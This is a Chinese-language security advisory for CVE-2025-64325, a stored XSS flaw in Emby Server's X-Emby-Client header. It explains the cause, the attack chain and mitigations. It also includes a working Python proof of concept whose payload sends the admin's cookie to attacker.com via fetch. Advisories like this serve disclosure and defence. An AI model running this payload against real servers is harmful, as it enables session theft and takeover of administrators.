IPBUF安全漏洞报告
English
CVE-2025-64325 CVSS 9.0 严重

CVE-2025-64325 Emby Server 存储型XSS漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-64325
漏洞类型
存储型XSS
CVSS评分
9.0 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Emby Server

相关标签

存储型XSSEmby ServerCVE-2025-64325身份认证绕过Web漏洞媒体服务器GHSA-2gwc-988r-2r7x

漏洞概述

Emby Server是一款个人媒体服务器软件,允许用户通过Web界面管理和流式传输媒体内容。该漏洞存在于Emby Server 4.8.1.0之前版本以及4.9.0.0-beta之前的Beta版本中。漏洞的根本原因在于系统对用户提交的X-Emby-Client HTTP头值缺乏充分的输入验证和输出消毒。当恶意用户发送包含恶意脚本代码的认证请求时,这些未经处理的数据会被直接存储到管理仪表板的设备部分。攻击者利用此漏洞可以在管理员访问设备管理界面时执行任意JavaScript代码,从而窃取管理员会话cookie、进行横向移动或执行其他恶意操作。由于该漏洞需要低权限认证且用户交互要求较低,攻击门槛相对较低,具有极高的实际威胁性。

技术细节

漏洞源于Emby Server在处理认证请求时对X-Emby-Client HTTP头的处理逻辑。当用户发起认证请求时,服务器端会将X-Emby-Client头的值提取出来并存储到数据库的devices表中。问题在于该值在存储前未经过任何HTML转义或输入验证处理,直接写入数据库。当管理员登录管理后台并浏览设备列表页面时,这些未消毒的数据会通过模板引擎直接渲染到HTML页面中,导致存储型XSS漏洞。攻击者可以通过发送精心构造的认证请求,在X-Emby-Client头中注入<script>标签或其他HTML/JS代码。由于这些数据被持久化存储在数据库中,每次管理员访问相关页面时都会触发恶意代码执行,形成持久的攻击向量。修复版本4.8.1.0和4.9.0.0-beta中已添加对X-Emby-Client值的HTML编码处理。

攻击链分析

STEP 1
步骤1
攻击者向目标Emby Server发送认证请求,在X-Emby-Client HTTP头中注入恶意JavaScript代码(如<script>标签)
STEP 2
步骤2
服务器接收请求后,将X-Emby-Client头的值未经过滤直接存储到数据库的devices表中
STEP 3
步骤3
攻击者成功认证后,其设备信息(包括恶意脚本)被持久化存储在系统中
STEP 4
步骤4
当管理员登录管理后台并访问设备管理页面时,存储的恶意数据被直接渲染到HTML中
STEP 5
步骤5
浏览器执行注入的恶意JavaScript代码,攻击者可窃取管理员Cookie、劫持会话或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-64325 PoC - Stored XSS in Emby Server X-Emby-Client header # Target: Emby Server < 4.8.1.0 or < 4.9.0.0-beta def exploit_emby_xss(target_url, username, password): """Exploit stored XSS via X-Emby-Client header""" # Malicious X-Emby-Client value with XSS payload xss_payload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>' # Step 1: Authenticate and send malicious X-Emby-Client header login_url = f"{target_url}/Users/AuthenticateByName" auth_data = { "Username": username, "Pw": password } headers = { "X-Emby-Client": xss_payload, "Content-Type": "application/json" } try: response = requests.post(login_url, json=auth_data, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Authentication successful with malicious X-Emby-Client header") print(f"[+] XSS payload injected: {xss_payload}") print(f"[+] Payload stored in device section of admin dashboard") print(f"[+] Admin will trigger XSS when viewing devices") return True else: print(f"[-] Authentication failed: {response.status_code}") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 4: print("Usage: python cve_2025_64325.py <target_url> <username> <password>") print("Example: python cve_2025_64325.py http://localhost:8096 admin password") sys.exit(1) exploit_emby_xss(sys.argv[1], sys.argv[2], sys.argv[3])

影响范围

Emby Server < 4.8.1.0
Emby Server 4.9.0.0-beta之前所有版本

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 通过网络层限制对管理后台的访问,仅允许内网或受信任IP访问;2) 监控HTTP请求中的X-Emby-Client头,对包含HTML标签或JavaScript关键字的请求进行拦截;3) 提醒管理员不要点击可疑链接或直接访问设备管理页面;4) 定期检查devices表,删除可疑的设备记录;5) 考虑暂时禁用Emby Server的远程访问功能,仅允许本地网络访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表